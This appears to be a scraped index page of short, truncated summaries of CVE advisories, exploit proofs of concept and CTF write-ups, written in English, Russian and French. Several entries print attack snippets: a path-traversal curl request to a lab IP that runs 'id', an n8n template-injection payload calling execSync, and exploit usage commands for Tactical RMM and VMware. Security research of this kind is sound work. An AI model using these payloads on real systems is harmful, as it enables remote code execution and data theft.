EUVD-2026-90920

A flaw was found in Foreman. This vulnerability allows an authenticated user with low-level Viewer permissions to cause unauthorized information disclosure by submitting requests to template preview endpoints. By exploiting this issue, the user can access sensitive data, such as host root...

CVE-2026-20217

ZendTo 6.15-8 / ClamAV: воспроизведение RCE с точным профилем и root-варианта Этот каталог — автономный комплект воспроизведения для авторизованной лаборатории: цепочка выполнения кода от ZendTo к ClamAV без учётной записи и её отдельное продолжение Smarty/root-cron на профиле по умолчанию. В...

CVE-2024-4879-ServiceNow

CVE-2024-4879-ServiceNow ServiceNow — это платформа для трансформации бизнеса, которая помогает компаниям управлять цифровыми рабочими процессами для корпоративных операций. CVE-2024-4879 может позволить неаутентифицированному пользователю удалённо выполнять код в Now Platform. Эта уязвимость...

CVE-2026-12423

A flaw was found in Foreman. The Red Hat Satellite /unattended/provision API endpoint is vulnerable to an authentication bypass due to a semantic logic flaw in hostverifier.rb. The application verifies the database state of a provisioning token rather than its actual presence in the incoming HTTP...

CVE-2026-5061

CVE-2026-5061 Consul Template проверял, куда указывает символическая ссылка во время вычисления шаблона, но последующее получение зависимости читало исходный путь. Перенацеливание ссылки между этими операциями превращало ссылку на файл внутри песочницы в раскрытие файла за её пределами. Введение ...

SSTI-Exploit-Detector

SSTI-Exploit-Detector SSTI Exploit Detector — это инструмент, предназначенный для обнаружения потенциальных уязвимостей Server-Side Template Injection SSTI в веб-приложениях. SSTI-Exploit-Detector Jenderal92 Возможности Пользовательский файл payload : позволяет пользователям добавлять собственные...

wordpress-cve-2026-87902

CVE-2026-87902 — Conditional LFI Love for Humans - Keep Simple WordPress Core +/tmp/pwn.php' curl -s 'http://10.137.137.49:18092/?pageid=2&pagename=templates%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252Ftmp%252Fpwn&=id' Reverse Shell...

CVE-2025-69516

CVE-2025-69516 - Exécution de code à distance dans Tactical RMM Ce dépôt contient un script Python qui automatise l'exploitation de la vulnérabilité SSTI CVE-2025-69516 dans Tactical RMM. Il a été testé sur la version 1.3.1. Utilisation python xpl.py -d api.tactical.xyz -t SESSIONTOKEN -c "id"...

CVE-2026-39387

CVE-2026-39387 — BoidCMS: аутентифицированная загрузка файла до RCE через инъекцию шаблона Описание BoidCMS -l -p Аргументы Флаг| Описание| Пример ---|---|--- -u, --url| Базовый URL целевого сайта BoidCMS| http://target.com -l, --user| Имя пользователя администратора| admin -p, --passwd| Пароль...

cve_2022_0492

Шаблон Shell-скрипта Современный шаблон Bash-скрипта с цветным форматированием вывода и вспомогательными функциями для создания профессиональных утилит командной строки. Возможности 🎨 Цветной вывод : Предопределённые цветовые схемы и функции форматирования 📝 Стандартизированные сообщения : Единый...

Trickster-HTB

Rapport d'exploitation Trickster À propos de Trickster Trickster est une machine Linux de difficulté moyenne présentant plusieurs vulnérabilités sur différents services. Ce rapport décrit le processus d'exploitation de ces vulnérabilités pour compromettre entièrement le système. Étapes...

CVE-2024-4040

CVE-2024-4040 Une vulnérabilité d'injection de template côté serveur dans CrushFTP dans toutes les versions antérieures à 10.7.1 et 11.1.0 sur toutes les plateformes permet à des attaquants distants non authentifiés de lire des fichiers du système de fichiers en dehors du bac à sable VFS, de...

foreman: Excessive Permissions for Viewer Role on Preview

A flaw was found in Foreman. This vulnerability allows an authenticated user with low-level Viewer permissions to cause unauthorized information disclosure by submitting requests to template preview endpoints. By exploiting this issue, the user can access sensitive data, such as host root...

html/template: golang: Go html/template: Cross-Site Scripting via pathological input

A flaw was found in the html/template component of Go golang. Pathological inputs could prematurely close an unescaped forward slash '/', allowing an attacker to inject arbitrary content. This could lead to Cross-Site Scripting XSS, where malicious scripts are executed in a user's browser,...

cve-2024-23113-test-env

CVE-2024-23113 Environnement de test pour FortiOS Un environnement de test basé sur Docker pour valider les modèles Nuclei CVE-2024-23113 contre des instances FortiOS vulnérables simulées. 🔍 Aperçu Cet environnement simule des interfaces HTTP FortiOS vulnérables pour tester les capacités de...

CVE-2022-22954-Testi

CVE-2022-22954-Test Tester la vulnérabilité CVE-2022-22954 VMware Workspace ONE Access et Identity Manager contiennent une vulnérabilité d'exécution de code à distance due à une injection de modèles côté serveur. Un acteur malveillant disposant d'un accès réseau peut déclencher une injection de...

POC_CVE-2024-4322

CVE-2024-4322 : Preuve de concept PoC pour LoLLMS WebUI et laboratoire de validation Nuclei Ce dépôt fournit des laboratoires locaux conteneurisés pour reproduire CVE-2024-4322 , une vulnérabilité de traversée de chemin dans LoLLMS WebUI v9.6, et pour valider que le modèle Nuclei associé ne...

CVE-2022-22954

CVE-2022-22954 CVE-2022-22954 VMware Workspace ONE Access freemarker SSTI Обнаружение множественных точек срабатывания уязвимости, многопоточное пакетное обнаружение, выполнение команд, запись файлов // Single target vulnerability detection python CVE-2022-22954.py -u https://x.x.x.x // Command...

n8n-CVE-2025-68613-TryHackMe

Salle TryHackMe : n8n : CVE-2025-68613 Joueur : J4ck3LSyN Hôte : ... Nom d'utilisateur : [email protected] Mot de passe : Try12345! Méthodologie Charge utile : function return this.process.mainModule.require'childprocess'.execSync'cat flag.txt'.toString Charge utile 2 : function return...

PoC-CVE-2024-33883

CVE-2024-33883 [email protected], недостаточная проверка Prototype Pollution, приводящая к эксплуатации RCE С помощью prototype pollution установите для opts.client истинное значение условие Затем, когда выполняется render, ejs выполнит значение opts.escapeFunction как JS-код. Диапазон...